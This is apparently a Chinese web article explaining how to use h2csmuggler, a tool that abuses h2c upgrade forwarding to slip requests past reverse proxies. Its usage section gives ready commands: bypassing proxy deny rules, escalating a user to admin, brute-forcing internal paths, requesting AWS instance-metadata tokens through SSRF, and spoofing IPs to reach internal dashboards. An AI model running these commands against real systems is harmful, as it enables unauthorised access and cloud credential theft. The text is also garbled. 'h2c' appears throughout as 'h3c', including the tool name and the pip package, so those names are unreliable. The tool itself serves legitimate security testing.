溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

隱蔽性極強(qiáng)的HTTP2明文通信工具h(yuǎn)2csmuggler怎么用

發(fā)布時(shí)間:2021-12-16 18:09:45 來(lái)源:億速云 閱讀:130 作者:柒染 欄目:網(wǎng)絡(luò)管理

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)隱蔽性極強(qiáng)的HTTP2明文通信工具h(yuǎn)2csmuggler怎么用,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

工具介紹

h3csmuggler是一款隱蔽性極強(qiáng)的HTTP/2明文通信工具,該工具能夠使用h3c兼容的后端服務(wù)器來(lái)建立HTTP/2明文(h3c)通信,并隱藏HTTP流量以通過不安全的邊緣服務(wù)器proxy_pass配置:

隱蔽性極強(qiáng)的HTTP2明文通信工具h(yuǎn)2csmuggler怎么用

如何測(cè)試?

該工具適用于任何一個(gè)能夠轉(zhuǎn)發(fā)h3c更新Header的代理終端節(jié)點(diǎn)。因?yàn)閔3c本身理應(yīng)只在明文通信信道上執(zhí)行,在HTTPs服務(wù)中進(jìn)行檢測(cè)的話一般結(jié)果都會(huì)報(bào)真陽(yáng)性。

相反,HTTP服務(wù)則有可能產(chǎn)生假陽(yáng)性結(jié)果。比如說,啟用了h3c的代理可能會(huì)直接響應(yīng)更新Header,而不是將其轉(zhuǎn)發(fā)至一個(gè)h3c后端。

廣大研究人員可以使用--scan-list選項(xiàng)來(lái)測(cè)試一個(gè)或多個(gè)Web服務(wù)器以尋找受影響的proxy_pass終端節(jié)點(diǎn)。建議大家使用一個(gè)目錄列表來(lái)進(jìn)行目錄枚舉,比如說下面這個(gè)URL文本文件(urls.txt):

https://www.example.com/

https://www.example.com/api/

https://www.example.com/auth/

https://www.example.com/admin/

https://www.example.com/payments/

...omitted for brevity...

下面的命令將使用h3cSmuggler掃描urls.txt,并定義掃描線程數(shù)量:

./h3csmuggler.py --scan-list urls.txt --threads 5

或者,也可以直接使用下列命令掃描單個(gè)節(jié)點(diǎn):

./h3csmuggler.py -x https://www.example.com/api/ --test

工具利用

當(dāng)我們識(shí)別出了一個(gè)受影響節(jié)點(diǎn)之后,我們就可以利用它來(lái)進(jìn)行信息傳輸了。現(xiàn)在,我們可以訪問或爆破一臺(tái)后端服務(wù)器的內(nèi)部終端節(jié)點(diǎn),然后提供自定義的語(yǔ)句或Header。在下面的例子中,我們將演示如何利用h3c的數(shù)據(jù)隱藏功能來(lái)繞過代理拒絕規(guī)則,并訪問內(nèi)部/flag終端節(jié)點(diǎn)。

工具依賴

該工具唯一的依賴組件就是Python hyper-h3庫(kù),安裝代碼如下:

pip3 install h3

測(cè)試環(huán)境和Demo

這個(gè)測(cè)試環(huán)境將允許我們?cè)谝粋€(gè)受控環(huán)境下使用h3cSmuggler進(jìn)行測(cè)試。docer-compose將會(huì)模擬三條指向已啟用h3c的Golang后端服務(wù)器的代理:

TCP port: Description

========  ===========

8000:     HTTP h3c backend

8001:     HAProxy -> h3c backend (Insecure default configuration)

8002:     nginx -> h3c backend  (Insecure custom configuration)

8003:     Nuster -> HAProxy -> h3c backend (Insecure configuration with multiple layers of proxies)

我們可以使用下列命令生成證書并與docker-compose環(huán)境綁定:

# Generate certs

./configs/generate-certificates.sh

 

# Activate services

docker-compose up

接下來(lái),我們嘗試通過HAProxy服務(wù)器(端口8001)來(lái)訪問那些被禁止訪問的終端節(jié)點(diǎn):

隱蔽性極強(qiáng)的HTTP2明文通信工具h(yuǎn)2csmuggler怎么用

我們可以使用h3cSmuggler的--test(或-t)選項(xiàng)來(lái)確認(rèn)代理的不安全配置:

隱蔽性極強(qiáng)的HTTP2明文通信工具h(yuǎn)2csmuggler怎么用

現(xiàn)在,我們使用h3cSmuggler來(lái)執(zhí)行一次h3c更新,我們通過代理來(lái)傳輸我們的HTTP/2流量,然后向后端服務(wù)器請(qǐng)求訪問/flag節(jié)點(diǎn),并繞過代理的訪問控制:

隱蔽性極強(qiáng)的HTTP2明文通信工具h(yuǎn)2csmuggler怎么用

工具使用

h3cSmuggler使用了類curl語(yǔ)句來(lái)處理請(qǐng)求:

usage: h3csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]

                      [url]

 

Detect and exploit insecure forwarding of h3c upgrades.

 

positional arguments:

  url

 

optional arguments:

  -h, --help            show this help message and exit

  --scan-list SCAN_LIST

                        list of URLs for scanning

  --threads THREADS     # of threads (for use with --scan-list)

  --upgrade-only        drop HTTP2-Settings from outgoing Connection header

  -x PROXY, --proxy PROXY

                        proxy server to try to bypass

  -i WORDLIST, --wordlist WORDLIST

                        list of paths to bruteforce

  -X REQUEST, --request REQUEST

                        smuggled verb

  -d DATA, --data DATA  smuggled data

  -H HEADER, --header HEADER

                        smuggled headers

  -m MAX_TIME, --max-time MAX_TIME

                        socket timeout in seconds (type: float; default 10)

  -t, --test            test a single proxy server

  -v, --verbose

工具使用樣例

1、掃描URL地址列表來(lái)識(shí)別受影響的終端節(jié)點(diǎn):

./h3csmuggler.py --scan-list urls.txt --threads 5

或者,將數(shù)據(jù)結(jié)果重定向到目標(biāo)文件:

./h3csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt

2、發(fā)送特制的POST請(qǐng)求來(lái)繞過邊緣服務(wù)器并抵達(dá)內(nèi)部節(jié)點(diǎn):

./h3csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions

3、使用HTTP/2多路復(fù)用爆破內(nèi)部節(jié)點(diǎn):

/h3csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/

4、利用Host Header SSRF,獲取令牌:

./h3csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`

發(fā)送令牌:

./h3csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/

5、使用X-Forwarded-For Header實(shí)現(xiàn)IP地址欺騙,并訪問內(nèi)部節(jié)點(diǎn)儀表盤:

./h3csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard

上述就是小編為大家分享的隱蔽性極強(qiáng)的HTTP2明文通信工具h(yuǎn)2csmuggler怎么用了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI